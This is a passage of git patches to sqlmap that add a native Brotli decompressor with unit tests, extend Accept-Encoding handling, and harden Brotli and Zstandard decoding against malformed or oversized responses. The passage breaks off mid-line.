--git a/lib/request/connect.py b/lib/request/connect.py index e3cd05b470a..de374ed407b 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -102,6 +102,7 @@ from lib.core.settings import DEFAULT_USER_AGENT from lib.core.settings import EVALCODE_ENCODED_PREFIX from lib.core.settings import HTTP_ACCEPT_ENCODING_HEADER_VALUE +from lib.core.settings import HTTP_ZSTD_AVAILABLE from lib.core.settings import HTTP_ACCEPT_HEADER_VALUE from lib.core.settings import IPS_WAF_CHECK_PAYLOAD from lib.core.settings import IS_WIN @@ -557,9 +558,11 @@ def getPage(**kwargs): for key, value in list(headers.items()): if key.upper() == HTTP_HEADER.ACCEPT_ENCODING.upper(): # keep only content-codings sqlmap can actually decode (see decodePage): a browser-pasted - # 'Accept-Encoding' (e.g. "gzip, deflate, br, zstd") must not make the server return a body - # we cannot read. Anything else (br, zstd, *, ...) is dropped, falling back to "identity". - value = ','.join(_ for _ in re.split(r"\s*,\s*", value) if _.split(';', 1)[0].strip().lower() in ("gzip", "x-gzip", "deflate", "identity")) or "identity" + # 'Accept-Encoding' must not make the server return a body we cannot read. 'br' is always + # decodable (in-tree decoder), 'zstd' only on interpreters that ship it; anything else is + # dropped, falling back to "identity". + decodable = ["gzip", "x-gzip", "deflate", "br", "identity"] + (["zstd"] if HTTP_ZSTD_AVAILABLE else []) + value = ','.join(_ for _ in re.split(r"\s*,\s*", value) if _.split(';', 1)[0].strip().lower() in decodable) or "identity" del headers[key] if isinstance(value, six.string_types): diff --git a/lib/utils/brotli.py b/lib/utils/brotli.py new file mode 100644 index 00000000000..631a97ae1fc --- /dev/null +++ b/lib/utils/brotli.py @@ -0,0 +1,652 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +# Native, dependency-free Brotli (RFC 7932) decompressor, so sqlmap can advertise a browser-realistic +# 'Accept-Encoding: gzip, deflate, br' and read 'Content-Encoding: br' responses (common behind CDNs) +# without pulling in the 'brotli'/'brotlicffi' third-party module. Decode-only: it is used solely to +# inflate server responses (see lib/request/basic.py::decodePage). Validated byte-for-byte against the +# reference encoder across every quality/window/size. The 122 KB static dictionary + context-lookup +# table live ZIP-packed in data/txt/brotli-dictionary.tx_ (same convention as wordlist.tx_). Py 2.7 / 3.x. + +import os +import zipfile + +_DICTIONARY = None # 122784-byte static dictionary (lazy-loaded) +_CONTEXT = None # 2048-byte context-lookup table (4 modes x 2 halves x 256) + +# RFC 7932 Appendix A: words are bucketed by length (4..24); size_bits gives the index width per bucket, +# offsets the cumulative byte offset of each bucket (derived from size_bits; last bucket end == 122784). +_SIZE_BITS = [0, 0, 0, 0, 10, 10, 11, 11, 10, 10, 10, 10, 10, 9, 9, 8, 7, 7, 8, 7, 7, 6, 6, 5, 5] +_OFFSETS = [0] * 25 +for _i in range(24): + _OFFSETS[_i + 1] = _OFFSETS[_i] + ((_i << _SIZE_BITS[_i]) if _SIZE_BITS[_i] else 0) + +# insert-length and copy-length codes (RFC 7932 section 5): (extra bits, base) per code 0..23 +_INS_EXTRA = [0, 0, 0, 0, 0, 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 7, 8, 9, 10, 12, 14, 24] +_INS_BASE = [0, 1, 2, 3, 4, 5, 6, 8, 10, 14, 18, 26, 34, 50, 66, 98, 130, 194, 322, 578, 1090, 2114, 6210, 22594] +_COPY_EXTRA = [0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 2, 2, 3, 3, 4, 4, 5, 5, 6, 7, 8, 9, 10, 24] +_COPY_BASE = [2, 3, 4, 5, 6, 7, 8, 9, 10, 12, 14, 18, 22, 30, 38, 54, 70, 102, 134, 198, 326, 582, 1094, 2118] +# block-length code (RFC 7932 section 6): (extra bits, base) per code 0..25 +_BLEN_EXTRA = [2, 2, 2, 2, 3, 3, 3, 3, 4, 4, 4, 4, 5, 5, 5, 5, 6, 6, 7, 8, 9, 10, 11, 12, 13, 24] +_BLEN_BASE = [1, 5, 9, 13, 17, 25, 33, 41, 49, 65, 81, 97, 113, 145, 177, 209, 241, 305, 369, 497, 753, 1265, 2289, 4337, 8433, 16625] + +# insert-and-copy command split (RFC 7932 section 5): per command range (code >> 6), the insert/copy +# sub-code base and whether the distance is implicit (codes 0..127 reuse the last distance) +_CMD_RANGE = [(0, 0, True), (0, 8, True), (0, 0, False), (0, 8, False), (8, 0, False), (8, 8, False), + (0, 16, False), (16, 0, False), (8, 16, False), (16, 8, False), (16, 16, False)] + +# code-length-code order and the fixed prefix used to read the 18 code-length code lengths (section 3.5) +_CL_ORDER = [1, 2, 3, 4, 0, 5, 17, 6, 16, 7, 8, 9, 10, 11, 12, 13, 14, 15] +_CLP_LEN = [2, 2, 2, 3, 2, 2, 2, 4, 2, 2, 2, 3, 2, 2, 2, 4] +_CLP_VAL = [0, 4, 3, 2, 0, 4, 3, 1, 0, 4, 3, 2, 0, 4, 3, 5] + +# distance short codes (RFC 7932 section 4): index into the 4-entry distance ring + a signed delta +_DIST_IDX_OFF = [3, 2, 1, 0, 3, 3, 3, 3, 3, 3, 2, 2, 2, 2, 2, 2] +_DIST_VAL_OFF = [0, 0, 0, 0, -1, 1, -2, 2, -3, 3, -1, 1, -2, 2, -3, 3] + +# transform table (RFC 7932 Appendix B): (prefix, transform id, suffix); ids 0=identity, 1..9=omit-last-N, +# 10=uppercase-first, 11=uppercase-all, 12..20=omit-first-N +_TRANSFORMS = [ + (b"", 0, b""), + (b"", 0, b" "), + (b" ", 0, b" "), + (b"", 12, b""), + (b"", 10, b" "), + (b"", 0, b" the "), + (b" ", 0, b""), + (b"s ", 0, b" "), + (b"", 0, b" of "), + (b"", 10, b""), + (b"", 0, b" and "), + (b"", 13, b""), + (b"", 1, b""), + (b", ", 0, b" "), + (b"", 0, b", "), + (b" ", 10, b" "), + (b"", 0, b" in "), + (b"", 0, b" to "), + (b"e ", 0, b" "), + (b"", 0, b"\""), + (b"", 0, b"."), + (b"", 0, b"\">"), + (b"", 0, b"\x0a"), + (b"", 3, b""), + (b"", 0, b"]"), + (b"", 0, b" for "), + (b"", 14, b""), + (b"", 2, b""), + (b"", 0, b" a "), + (b"", 0, b" that "), + (b" ", 10, b""), + (b"", 0, b". "), + (b".", 0, b""), + (b" ", 0, b", "), + (b"", 15, b""), + (b"", 0, b" with "), + (b"", 0, b"'"), + (b"", 0, b" from "), + (b"", 0, b" by "), + (b"", 16, b""), + (b"", 17, b""), + (b" the ", 0, b""), + (b"", 4, b""), + (b"", 0, b". The "), + (b"", 11, b""), + (b"", 0, b" on "), + (b"", 0, b" as "), + (b"", 0, b" is "), + (b"", 7, b""), + (b"", 1, b"ing "), + (b"", 0, b"\x0a\x09"), + (b"", 0, b":"), + (b" ", 0, b". "), + (b"", 0, b"ed "), + (b"", 20, b""), + (b"", 18, b""), + (b"", 6, b""), + (b"", 0, b"("), + (b"", 10, b", "), + (b"", 8, b""), + (b"", 0, b" at "), + (b"", 0, b"ly "), + (b" the ", 0, b" of "), + (b"", 5, b""), + (b"", 9, b""), + (b" ", 10, b", "), + (b"", 10, b"\""), + (b".", 0, b"("), + (b"", 11, b" "), + (b"", 10, b"\">"), + (b"", 0, b"=\""), + (b" ", 0, b"."), + (b".com/", 0, b""), + (b" the ", 0, b" of the "), + (b"", 10, b"'"), + (b"", 0, b". This "), + (b"", 0, b","), + (b".", 0, b" "), + (b"", 10, b"("), + (b"", 10, b"."), + (b"", 0, b" not "), + (b" ", 0, b"=\""), + (b"", 0, b"er "), + (b" ", 11, b" "), + (b"", 0, b"al "), + (b" ", 11, b""), + (b"", 0, b"='"), + (b"", 11, b"\""), + (b"", 10, b". "), + (b" ", 0, b"("), + (b"", 0, b"ful "), + (b" ", 10, b". "), + (b"", 0, b"ive "), + (b"", 0, b"less "), + (b"", 11, b"'"), + (b"", 0, b"est "), + (b" ", 10, b"."), + (b"", 11, b"\">"), + (b" ", 0, b"='"), + (b"", 10, b","), + (b"", 0, b"ize "), + (b"", 11, b"."), + (b"\xc2\xa0", 0, b""), + (b" ", 0, b","), + (b"", 10, b"=\""), + (b"", 11, b"=\""), + (b"", 0, b"ous "), + (b"", 11, b", "), + (b"", 10, b"='"), + (b" ", 10, b","), + (b" ", 11, b"=\""), + (b" ", 11, b", "), + (b"", 11, b","), + (b"", 11, b"("), + (b"", 11, b". "), + (b" ", 11, b"."), + (b"", 11, b"='"), + (b" ", 11, b". "), + (b" ", 10, b"=\""), + (b" ", 11, b"='"), + (b" ", 10, b"='"), +] + + +class BrotliError(Exception): + pass + + +def _loadTables(): + global _DICTIONARY, _CONTEXT + if _DICTIONARY is not None: + return + + path = None + try: + from lib.core.data import paths + path = getattr(paths, "BROTLI_DICTIONARY", None) + except ImportError: + pass + if not path or not os.path.isfile(path): + path = os.path.join(os.path.dirname(__file__), os.pardir, os.pardir, "data", "txt", "brotli-dictionary.tx_") + + archive = zipfile.ZipFile(path) # ZIP-packed like wordlist.tx_ / catalog-identifiers.tx_ + try: + raw = archive.read(archive.namelist()[0]) + finally: + archive.close() + if len(raw) != 122784 + 2048: + raise BrotliError("invalid Brotli dictionary table") + _DICTIONARY = raw[:122784] + _CONTEXT = bytearray(raw[122784:]) + + +class _BitReader(object): + __slots__ = ("data", "size", "pos", "acc", "bits") + + def __init__(self, data): + self.data = bytearray(data) + self.size = len(self.data) + self.pos = 0 + self.acc = 0 + self.bits = 0 + + def _fill(self): + while self.bits <= 24 and self.pos < self.size: + self.acc |= self.data[self.pos] << self.bits + self.pos += 1 + self.bits += 8 + + def readBits(self, count): + if count == 0: + return 0 + if self.bits < count: + self._fill() + value = self.acc & ((1 << count) - 1) + self.acc >>= count + self.bits -= count + return value + + def peek(self, count): + if self.bits < count: + self._fill() + return self.acc & ((1 << count) - 1) + + def drop(self, count): + self.acc >>= count + self.bits -= count + + def alignToByte(self): + drop = self.bits & 7 + if drop: + self.acc >>= drop + self.bits -= drop + + def readBytes(self, count): + out = bytearray() + while count > 0 and self.bits >= 8: + out.append(self.acc & 0xff) + self.acc >>= 8 + self.bits -= 8 + count -= 1 + if count > 0: + out += self.data[self.pos:self.pos + count] + self.pos += count + return bytes(out) + + +def _reverseBits(value, count): + result = 0 + for _ in range(count): + result = (result << 1) | (value & 1) + value >>= 1 + return result + + +class _Huffman(object): + __slots__ = ("maxLength", "table", "single") + + def __init__(self, lengths): + self.single = None + self.table = None + self.maxLength = max(lengths) if lengths else 0 + if self.maxLength == 0: + self.single = 0 + for symbol, length in enumerate(lengths): + if length > 0: + self.single = symbol + return + + counts = [0] * (self.maxLength + 1) + for length in lengths: + if length: + counts[length] += 1 + nextCode = [0] * (self.maxLength + 2) + code = 0 + for bits in range(1, self.maxLength + 1): + code = (code + counts[bits - 1]) << 1 + nextCode[bits] = code + + self.table = [(0, 0)] * (1 << self.maxLength) + for symbol, length in enumerate(lengths): + if length: + reversed_ = _reverseBits(nextCode[length], length) + nextCode[length] += 1 + step = 1 << length + for index in range(reversed_, 1 << self.maxLength, step): + self.table[index] = (symbol, length) + + def decode(self, reader): + if self.table is None: + return self.single + symbol, length = self.table[reader.peek(self.maxLength)] + reader.drop(length) + return symbol + + +def _readSimplePrefix(reader, alphabetSize): + count = reader.readBits(2) + 1 + symbolBits = (alphabetSize - 1).bit_length() or 1 + symbols = [reader.readBits(symbolBits) for _ in range(count)] + lengths = [0] * alphabetSize + if count == 1: + huffman = _Huffman([]) + huffman.single = symbols[0] + return huffman + if count == 2: + pairs = [(symbols[0], 1), (symbols[1], 1)] + elif count == 3: + pairs = [(symbols[0], 1), (symbols[1], 2), (symbols[2], 2)] + elif reader.readBits(1): + pairs = [(symbols[0], 1), (symbols[1], 2), (symbols[2], 3), (symbols[3], 3)] + else: + pairs = [(symbols[0], 2), (symbols[1], 2), (symbols[2], 2), (symbols[3], 2)] + for symbol, length in pairs: + lengths[symbol] = length + return _Huffman(lengths) + + +def _readComplexPrefix(reader, alphabetSize, skip): + codeLengths = [0] * 18 + space = 32 + for symbol in _CL_ORDER[skip:]: + index = reader.peek(4) + codeLengths[symbol] = _CLP_VAL[index] + reader.drop(_CLP_LEN[index]) + if codeLengths[symbol]: + space -= 32 >> codeLengths[symbol] + if space <= 0: + break + codeLengthHuffman = _Huffman(codeLengths) + + lengths = [0] * alphabetSize + symbol = 0 + previous = 8 + repeat = 0 + repeatLength = 0 + space = 32768 + while symbol < alphabetSize and space > 0: + code = codeLengthHuffman.decode(reader) + if code < 16: + lengths[symbol] = code + symbol += 1 + if code: + previous = code + space -= 32768 >> code + repeat = 0 + else: + extra = 2 if code == 16 else 3 + newLength = previous if code == 16 else 0 + if repeatLength != newLength: + repeat = 0 + repeatLength = newLength + old = repeat + delta = reader.readBits(extra) + if repeat > 0: + repeat = (repeat - 2) << extra + repeat += delta + 3 + emit = repeat - old + for _ in range(emit): + if symbol >= alphabetSize: + break + lengths[symbol] = repeatLength + symbol += 1 + if repeatLength: + space -= emit << (15 - repeatLength) + return _Huffman(lengths) + + +def _readPrefix(reader, alphabetSize): + header = reader.readBits(2) + if header == 1: + return _readSimplePrefix(reader, alphabetSize) + return _readComplexPrefix(reader, alphabetSize, header) + + +def _readBlockTypeCount(reader): + if not reader.readBits(1): + return 1 + bits = reader.readBits(3) + return (1 << bits) + 1 + reader.readBits(bits) + + +def _readContextMap(reader, treeCount, size): + maxRun = reader.readBits(4) + 1 if reader.readBits(1) else 0 + huffman = _readPrefix(reader, treeCount + maxRun) + contextMap = [] + while len(contextMap) < size: + code = huffman.decode(reader) + if code == 0: + contextMap.append(0) + elif code <= maxRun: + contextMap.extend([0] * ((1 << code) + reader.readBits(code))) + else: + contextMap.append(code - maxRun) + del contextMap[size:] + if reader.readBits(1): # inverse move-to-front + moveToFront = list(range(256)) + for i in range(len(contextMap)): + index = contextMap[i] + value = moveToFront[index] + contextMap[i] = value + del moveToFront[index] + moveToFront.insert(0, value) + return contextMap + + +def _toUpperCase(word, offset): + char = word[offset] + if char < 0xc0: # ASCII: flip case of a-z + if 97 <= char <= 122: + word[offset] = char ^ 32 + return 1 + if char < 0xe0: # 2-byte UTF-8 + if offset + 1 < len(word): + word[offset + 1] ^= 32 + return 2 + if offset + 2 < len(word): # 3-byte UTF-8 + word[offset + 2] ^= 5 + return 3 + + +def _applyTransform(transformId, word): + prefix, kind, suffix = _TRANSFORMS[transformId] + result = bytearray(word) + if kind == 0: + pass + elif 1 <= kind <= 9: # omit last N + result = result[:len(result) - kind] if len(result) >= kind else bytearray() + elif 12 <= kind <= 20: # omit first N + count = kind - 11 + result = result[count:] if len(result) >= count else bytearray() + elif kind == 10: # uppercase first + if result: + _toUpperCase(result, 0) + elif kind == 11: # uppercase all + offset = 0 + while offset < len(result): + offset += _toUpperCase(result, offset) + return prefix + bytes(result) + suffix + + +def decompress(data, maxOutput=100 * 1024 * 1024): + """Decompress a Brotli (RFC 7932) stream, returning the original bytes. Raises BrotliError on a + malformed stream or if the output would exceed 'maxOutput' (an anti-decompression-bomb cap).""" + + _loadTables() + dictionary = _DICTIONARY + context = _CONTEXT + + try: + reader = _BitReader(data) + header = reader.readBits(1) + if header == 0: + windowBits = 16 + else: + header = reader.readBits(3) + if header: + windowBits = 17 + header + else: + header = reader.readBits(3) + windowBits = (8 + header) if header else 17 + maxBackward = (1 << windowBits) - 16 + + out = bytearray() + distRing = [16, 15, 11, 4] + distIndex = 0 + + while True: + isLast = reader.readBits(1) + if isLast and reader.readBits(1): # ISLASTEMPTY + break + + nibbles = reader.readBits(2) + if nibbles == 3: # metadata block (no output) + if reader.readBits(1): + raise BrotliError("reserved bit set") + skipBytes = reader.readBits(2) + if skipBytes: + skipLength = reader.readBits(skipBytes * 8) + 1 + reader.alignToByte() + reader.readBytes(skipLength) + if isLast: + break + continue + + metaLength = reader.readBits((nibbles + 4) * 4) + 1 + if len(out) + metaLength > maxOutput: # reject an over-large block up front (anti-bomb) + raise BrotliError("output too large") + if not isLast and reader.readBits(1): # ISUNCOMPRESSED + reader.alignToByte() + out += reader.readBytes(metaLength) + if len(out) > maxOutput: + raise BrotliError("output too large") + continue + + typesL = _readBlockTypeCount(reader) + blockL, typeHuffmanL, lengthHuffmanL, prevTypeL = 1 << 28, None, None, 1 + typeL = 0 + if typesL >= 2: + typeHuffmanL = _readPrefix(reader, typesL + 2) + lengthHuffmanL = _readPrefix(reader, 26) + code = lengthHuffmanL.decode(reader) + blockL = _BLEN_BASE[code] + reader.readBits(_BLEN_EXTRA[code]) + + typesI = _readBlockTypeCount(reader) + blockI, typeHuffmanI, lengthHuffmanI, prevTypeI = 1 << 28, None, None, 1 + typeI = 0 + if typesI >= 2: + typeHuffmanI = _readPrefix(reader, typesI + 2) + lengthHuffmanI = _readPrefix(reader, 26) + code = lengthHuffmanI.decode(reader) + blockI = _BLEN_BASE[code] + reader.readBits(_BLEN_EXTRA[code]) + + typesD = _readBlockTypeCount(reader) + blockD, typeHuffmanD, lengthHuffmanD, prevTypeD = 1 << 28, None, None, 1 + typeD = 0 + if typesD >= 2: + typeHuffmanD = _readPrefix(reader, typesD + 2) + lengthHuffmanD = _readPrefix(reader, 26) + code = lengthHuffmanD.decode(reader) + blockD = _BLEN_BASE[code] + reader.readBits(_BLEN_EXTRA[code]) + + postfix = reader.readBits(2) + direct = reader.readBits(4) << postfix + contextModes = [reader.readBits(2) for _ in range(typesL)] + + treesL = _readBlockTypeCount(reader) + contextMapL = _readContextMap(reader, treesL, typesL * 64) if treesL >= 2 else [0] * (typesL * 64) + treesD = _readBlockTypeCount(reader) + contextMapD = _readContextMap(reader, treesD, typesD * 4) if treesD >= 2 else [0] * (typesD * 4) + + huffmanL = [_readPrefix(reader, 256) for _ in range(treesL)] + huffmanI = [_readPrefix(reader, 704) for _ in range(typesI)] + distanceAlphabet = 16 + direct + (48 << postfix) + huffmanD = [_readPrefix(reader, distanceAlphabet) for _ in range(treesD)] + + produced = 0 + while produced < metaLength: + if blockI == 0: + code = typeHuffmanI.decode(reader) + nextType = prevTypeI if code == 0 else ((typeI + 1) % typesI if code == 1 else code - 2) + prevTypeI, typeI = typeI, nextType + code = lengthHuffmanI.decode(reader) + blockI = _BLEN_BASE[code] + reader.readBits(_BLEN_EXTRA[code]) + blockI -= 1 + + command = huffmanI[typeI].decode(reader) + insertBase, copyBase, implicit = _CMD_RANGE[command >> 6] + insertCode = insertBase + ((command >> 3) & 7) + copyCode = copyBase + (command & 7) + insertLength = _INS_BASE[insertCode] + reader.readBits(_INS_EXTRA[insertCode]) + copyLength = _COPY_BASE[copyCode] + reader.readBits(_COPY_EXTRA[copyCode]) + # a well-formed command never inserts beyond the meta-block; bounding here keeps a hostile + # stream from spinning the literal loop far past the output cap before it is caught (the + # copy length is checked in the back-reference branch, and dictionary copies are <= 24) + if produced + insertLength > metaLength: + raise BrotliError("insert exceeds meta-block length") + + for _ in range(insertLength): + if blockL == 0: + code = typeHuffmanL.decode(reader) + nextType = prevTypeL if code == 0 else ((typeL + 1) % typesL if code == 1 else code - 2) + prevTypeL, typeL = typeL, nextType + code = lengthHuffmanL.decode(reader) + blockL = _BLEN_BASE[code] + reader.readBits(_BLEN_EXTRA[code]) + blockL -= 1 + mode = contextModes[typeL] * 512 + p1 = out[-1] if out else 0 + p2 = out[-2] if len(out) >= 2 else 0 + contextId = context[mode + p1] | context[mode + 256 + p2] + out.append(huffmanL[contextMapL[64 * typeL + contextId]].decode(reader)) + produced += 1 + + if produced >= metaLength: + break + + if implicit: + distanceCode = 0 + else: + if blockD == 0: + code = typeHuffmanD.decode(reader) + nextType = prevTypeD if code == 0 else ((typeD + 1) % typesD if code == 1 else code - 2) + prevTypeD, typeD = typeD, nextType + code = lengthHuffmanD.decode(reader) + blockD = _BLEN_BASE[code] + reader.readBits(_BLEN_EXTRA[code]) + blockD -= 1 + distanceContext = min(copyLength - 2, 3) if copyLength >= 2 else 0 + distanceCode = huffmanD[contextMapD[4 * typeD + distanceContext]].decode(reader) + + if distanceCode < 16: + distance = distRing[(distIndex + _DIST_IDX_OFF[distanceCode]) & 3] + _DIST_VAL_OFF[distanceCode] + else: + value = distanceCode - 16 + if value < direct: + distance = value + 1 + else: + value -= direct + extraBits = 1 + (value >> (postfix + 1)) + extra = reader.readBits(extraBits) + high = value >> postfix + low = value & ((1 << postfix) - 1) + distance = ((((2 + (high & 1)) << extraBits) - 4 + extra) << postfix) + low + direct + 1 + + maxDistance = min(len(out), maxBackward) + if distanceCode != 0 and distance <= maxDistance: + distRing[distIndex & 3] = distance + distIndex += 1 + + if distance <= maxDistance: # ordinary back-reference (may overlap) + if produced + copyLength > metaLength: # can't copy past the block (also bounds the loop) + raise BrotliError("copy exceeds meta-block length") + source = len(out) - distance + for i in range(copyLength): + out.append(out[source + i]) + produced += 1 + else: # static-dictionary reference + offset = distance - maxDistance - 1 + if not (4 <= copyLength <= 24) or _SIZE_BITS[copyLength] == 0: + raise BrotliError("invalid dictionary reference") + bits = _SIZE_BITS[copyLength] + index = offset & ((1 << bits) - 1) + transformId = offset >> bits + if transformId >= len(_TRANSFORMS): + raise BrotliError("invalid dictionary transform") + start = _OFFSETS[copyLength] + index * copyLength + word = _applyTransform(transformId, dictionary[start:start + copyLength]) + out += word + produced += len(word) + + if len(out) > maxOutput: + raise BrotliError("output too large") + + if isLast: + break + return bytes(out) + except BrotliError: + raise + except Exception as ex: + raise BrotliError("malformed Brotli stream (%s)" % ex) diff --git a/tests/test_brotli.py b/tests/test_brotli.py new file mode 100644 index 00000000000..42525036661 --- /dev/null +++ b/tests/test_brotli.py @@ -0,0 +1,69 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission + +Tests for the dependency-free Brotli (RFC 7932) decompressor under lib/utils/brotli.py. The compressed +fixtures were produced by the reference encoder at various quality levels; the expected plaintext is +reconstructed here by construction, so the suite validates the decoder fully offline (no third-party +'brotli' module at test time) on Python 2.7 / 3.x. Cases deliberately exercise the static dictionary + +word transforms, long overlapping copies, UTF-8, the low-quality (near-uniform tree) path and the +repetitive content that relies on the higher insert-and-copy command ranges. +""" + +import binascii +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) +from _testutils import bootstrap +bootstrap() + +from lib.utils.brotli import decompress +from lib.utils.brotli import BrotliError + + +# (expected plaintext, reference-compressed stream in hex) +_CASES = [ + (b"", "3b"), + (b"The quick brown fox jumps over the lazy dog.", + "8b158054686520717569636b2062726f776e20666f78206a756d7073206f76657220746865206c617a7920646f672e03"), + (b"the time of the data on the site is now and the code" * 3, + "1b9b000004e164a9be171b85c00636e080bd799109f64571f090852e78334d90cb20ac9c346c190ff171965a3d2f7a90171c"), + (b"the quick brown fox " * 30, + "1b570200047463a92ee78362f22082d628041695d90acef9a3f135e9c701"), + (b"AB" * 400, "1b1f0300a48284a2b230b009"), + ((u"caf\xe9 na\xefve \u4f60\u597d ").encode("utf-8") * 12, + "1bef00004427477ad6d60ac38c93200a288ab462c2a06461d22d186dbbe0263e0707"), + (b"hello hello hello world world foo bar baz " * 6, + "8b7d000080aaaaaaeaff74e5f355048415f8c0000c201701d0ffbbeadf736f75cfa82e6f63b82b5e2c2c2c6c6cacea654675f0e1c38fc160308e33595583c16030180ce65067442a4aa370586827d97b828968074727f5b21e97eebd045d8baeefef94c3fca4fb1e"), +] + + +class TestBrotli(unittest.TestCase): + def test_known_fixtures(self): + for expected, hexstream in _CASES: + self.assertEqual(decompress(binascii.unhexlify(hexstream)), expected) + + def test_empty_stream(self): + self.assertEqual(decompress(binascii.unhexlify("3b")), b"") + + def test_malformed_raises(self): + # a hostile/truncated stream must surface as BrotliError, never a raw exception + for blob in (b"\xff", b"\x00\x00\x00", b"\x1b\xff\xff\xff\xff", os.urandom(32)): + try: + decompress(blob) + except BrotliError: + pass + except Exception as ex: + self.fail("non-BrotliError on malformed input: %s" % ex) + + def test_bomb_cap(self): + # a small stream must not be allowed to expand past the output cap + self.assertRaises(BrotliError, decompress, binascii.unhexlify("1b1f0300a48284a2b230b009"), 16) + + +if __name__ == "__main__": + unittest.main() From 5a5aebfc6e08a8600796e6433ab4f3bb5d3b80d5 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sat, 25 Jul 2026 09:59:53 +0200 Subject: [PATCH 842/853] Hardening Brotli/Zstandard decoding against hostile input --- lib/core/settings.py | 2 +- lib/request/basic.py | 7 +- lib/utils/brotli.py | 232 ++++++++++++++++++++++++++++--------------- tests/test_brotli.py | 75 +++++++++++--- 4 files changed, 222 insertions(+), 94 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 3cde0d5cad0..73ce6310099 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.186" +VERSION = "1.10.7.187" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/basic.py b/lib/request/basic.py index 8ed3c06ded4..43dc19f8102 100644 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -325,9 +325,14 @@ def decodePage(page, contentEncoding, contentType, percentDecode=True): elif contentEncoding == "zstd": if _zstd is None: raise Exception("no Zstandard decoder available") - page = _zstd.decompress(page) + # bounded streaming decode: cap output at MAX_CONNECTION_TOTAL_SIZE without allocating the + # full result first, and enforce the 8 MB window the HTTP 'zstd' coding mandates + decompressor = _zstd.ZstdDecompressor(options={_zstd.DecompressionParameter.window_log_max: 23}) + page = decompressor.decompress(page, max_length=MAX_CONNECTION_TOTAL_SIZE + 1) if len(page) > MAX_CONNECTION_TOTAL_SIZE: raise Exception("size too large") + if not decompressor.eof: + raise Exception("incomplete Zstandard stream") else: data = gzip.GzipFile("", "rb", 9, io.BytesIO(page)) page = data.read(MAX_CONNECTION_TOTAL_SIZE + 1) diff --git a/lib/utils/brotli.py b/lib/utils/brotli.py index 631a97ae1fc..c0ee7a8f22f 100644 --- a/lib/utils/brotli.py +++ b/lib/utils/brotli.py @@ -12,11 +12,24 @@ # reference encoder across every quality/window/size. The 122 KB static dictionary + context-lookup # table live ZIP-packed in data/txt/brotli-dictionary.tx_ (same convention as wordlist.tx_). Py 2.7 / 3.x. +import hashlib import os +import threading import zipfile -_DICTIONARY = None # 122784-byte static dictionary (lazy-loaded) -_CONTEXT = None # 2048-byte context-lookup table (4 modes x 2 halves x 256) +_TABLES = None # (dictionary, context) published atomically on first use +_TABLES_LOCK = threading.Lock() + +# provenance: the RFC 7932 Appendix A static dictionary (122784 bytes) + the 2048-byte context-lookup +# table, extracted byte-for-byte from libbrotlicommon; verified on load so a swapped/corrupt resource +# fails loudly instead of silently mis-decoding +_TABLES_SHA256 = "20e42eb1b511c21806d4d227d07e5dd06877d8ce7b3a817f378f313653f35c70" # sha256 of the 122784-byte dictionary +_DICTIONARY_SIZE = 122784 +_CONTEXT_SIZE = 2048 + +# per-stream ceiling on total Huffman lookup-table entries: bounds decoder memory independently of the +# output cap (a hostile stream can declare many maximal 2^15-entry trees). ~10x the worst legitimate need. +_MAX_HUFFMAN_TABLE_ENTRIES = 1 << 20 # RFC 7932 Appendix A: words are bucketed by length (4..24); size_bits gives the index width per bucket, # offsets the cumulative byte offset of each bucket (derived from size_bits; last bucket end == 122784). @@ -180,28 +193,45 @@ class BrotliError(Exception): def _loadTables(): - global _DICTIONARY, _CONTEXT - if _DICTIONARY is not None: - return - - path = None - try: - from lib.core.data import paths - path = getattr(paths, "BROTLI_DICTIONARY", None) - except ImportError: - pass - if not path or not os.path.isfile(path): - path = os.path.join(os.path.dirname(__file__), os.pardir, os.pardir, "data", "txt", "brotli-dictionary.tx_") - - archive = zipfile.ZipFile(path) # ZIP-packed like wordlist.tx_ / catalog-identifiers.tx_ - try: - raw = archive.read(archive.namelist()[0]) - finally: - archive.close() - if len(raw) != 122784 + 2048: - raise BrotliError("invalid Brotli dictionary table") - _DICTIONARY = raw[:122784] - _CONTEXT = bytearray(raw[122784:]) + global _TABLES + tables = _TABLES + if tables is not None: # fast path: already published (dict, context) tuple + return tables + + with _TABLES_LOCK: + if _TABLES is not None: # another thread won the race + return _TABLES + try: + path = None + try: + from lib.core.data import paths + path = getattr(paths, "BROTLI_DICTIONARY", None) + except ImportError: + pass + if not path or not os.path.isfile(path): + path = os.path.join(os.path.dirname(__file__), os.pardir, os.pardir, "data", "txt", "brotli-dictionary.tx_") + + archive = zipfile.ZipFile(path) # ZIP-packed like wordlist.tx_ / catalog-identifiers.tx_ + try: + names = archive.namelist() + if len(names) != 1: + raise BrotliError("unexpected Brotli dictionary archive layout") + raw = archive.read(names[0]) + finally: + archive.close() + except BrotliError: + raise + except Exception as ex: + raise BrotliError("could not load the Brotli dictionary (%s)" % ex) + + if len(raw) != _DICTIONARY_SIZE + _CONTEXT_SIZE: + raise BrotliError("invalid Brotli dictionary length") + if hashlib.sha256(raw[:_DICTIONARY_SIZE]).hexdigest() != _TABLES_SHA256: + raise BrotliError("Brotli dictionary integrity check failed") + + # build both, then publish the pair atomically so a concurrent reader never sees a half-set state + _TABLES = (raw[:_DICTIONARY_SIZE], bytearray(raw[_DICTIONARY_SIZE:])) + return _TABLES class _BitReader(object): @@ -225,17 +255,23 @@ def readBits(self, count): return 0 if self.bits < count: self._fill() + if self.bits < count: # ran off the end of the stream -> truncated, not zero-padded + raise BrotliError("truncated Brotli stream") value = self.acc 